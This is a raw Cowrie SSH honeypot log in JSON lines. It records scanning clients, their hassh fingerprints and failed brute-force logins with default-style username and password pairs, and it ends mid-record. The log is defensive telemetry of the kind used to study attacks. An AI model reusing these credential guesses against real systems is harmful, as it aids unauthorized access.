{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:14:33.905560Z","src_ip":"2.57.122.208","session":"3fdb0fe2dc79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:14:34.544935Z","src_ip":"2.57.122.208","session":"3fdb0fe2dc79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:14:35.649343Z","src_ip":"2.57.122.208","session":"3fdb0fe2dc79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":36330,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e651a7cef7","protocol":"ssh","message":"New connection: 171.25.158.70:36330 (159.203.135.109:22) [session: 71e651a7cef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:02.802097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:02.813340Z","src_ip":"171.25.158.70","session":"71e651a7cef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:02.926922Z","src_ip":"171.25.158.70","session":"71e651a7cef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anaconda","password":"1234","message":"login attempt [anaconda/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:03.595512Z","src_ip":"171.25.158.70","session":"71e651a7cef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:04.820728Z","src_ip":"171.25.158.70","session":"71e651a7cef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52104,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa1880c91b5","protocol":"ssh","message":"New connection: 92.118.39.92:52104 (159.203.135.109:22) [session: baa1880c91b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:30.459814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:30.464862Z","src_ip":"92.118.39.92","session":"baa1880c91b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:30.569740Z","src_ip":"92.118.39.92","session":"baa1880c91b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:30.884296Z","src_ip":"92.118.39.92","session":"baa1880c91b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:31.990499Z","src_ip":"92.118.39.92","session":"baa1880c91b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":40422,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef1837e9c0a","protocol":"ssh","message":"New connection: 118.26.39.178:40422 (159.203.135.109:22) [session: 5ef1837e9c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:45.117033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:45.120071Z","src_ip":"118.26.39.178","session":"5ef1837e9c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:45.336754Z","src_ip":"118.26.39.178","session":"5ef1837e9c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openhabian","password":"Openhabian","message":"login attempt [openhabian/Openhabian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:46.237882Z","src_ip":"118.26.39.178","session":"5ef1837e9c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:47.458603Z","src_ip":"118.26.39.178","session":"5ef1837e9c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":48154,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f25bf0cb38e","protocol":"ssh","message":"New connection: 103.234.53.173:48154 (159.203.135.109:22) [session: 5f25bf0cb38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:55.496781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:55.501788Z","src_ip":"103.234.53.173","session":"5f25bf0cb38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:55.712799Z","src_ip":"103.234.53.173","session":"5f25bf0cb38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dexter","password":"Dexter","message":"login attempt [dexter/Dexter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:56.593895Z","src_ip":"103.234.53.173","session":"5f25bf0cb38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:15:57.806797Z","src_ip":"103.234.53.173","session":"5f25bf0cb38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58764,"dst_ip":"10.17.0.5","dst_port":22,"session":"40cfe07b3184","protocol":"ssh","message":"New connection: 195.178.110.218:58764 (10.17.0.5:22) [session: 40cfe07b3184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:25.565339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:25.569972Z","src_ip":"195.178.110.218","session":"40cfe07b3184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:25.645827Z","src_ip":"195.178.110.218","session":"40cfe07b3184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:25.871634Z","src_ip":"195.178.110.218","session":"40cfe07b3184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:26.948596Z","src_ip":"195.178.110.218","session":"40cfe07b3184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.170.233","src_port":56407,"dst_ip":"10.17.0.5","dst_port":22,"session":"6621aee77301","protocol":"ssh","message":"New connection: 211.253.170.233:56407 (10.17.0.5:22) [session: 6621aee77301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:27.699689Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:27.704092Z","src_ip":"211.253.170.233","session":"6621aee77301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:27.707184Z","src_ip":"211.253.170.233","session":"6621aee77301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34410,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d210b95394","protocol":"ssh","message":"New connection: 2.57.122.208:34410 (159.203.135.109:22) [session: b2d210b95394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:48.112107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:48.125071Z","src_ip":"2.57.122.208","session":"b2d210b95394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:48.239208Z","src_ip":"2.57.122.208","session":"b2d210b95394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:48.768467Z","src_ip":"2.57.122.208","session":"b2d210b95394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:49.875845Z","src_ip":"2.57.122.208","session":"b2d210b95394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41750,"dst_ip":"159.203.135.109","dst_port":22,"session":"93eb66edfc0c","protocol":"ssh","message":"New connection: 171.25.158.70:41750 (159.203.135.109:22) [session: 93eb66edfc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:56.405981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:56.410357Z","src_ip":"171.25.158.70","session":"93eb66edfc0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:56.524382Z","src_ip":"171.25.158.70","session":"93eb66edfc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohsen","password":"Mohsen123!","message":"login attempt [mohsen/Mohsen123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:57.022280Z","src_ip":"171.25.158.70","session":"93eb66edfc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:16:58.133851Z","src_ip":"171.25.158.70","session":"93eb66edfc0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":39326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b16939337d1e","protocol":"ssh","message":"New connection: 92.118.39.92:39326 (159.203.135.109:22) [session: b16939337d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:42.047313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:42.052247Z","src_ip":"92.118.39.92","session":"b16939337d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@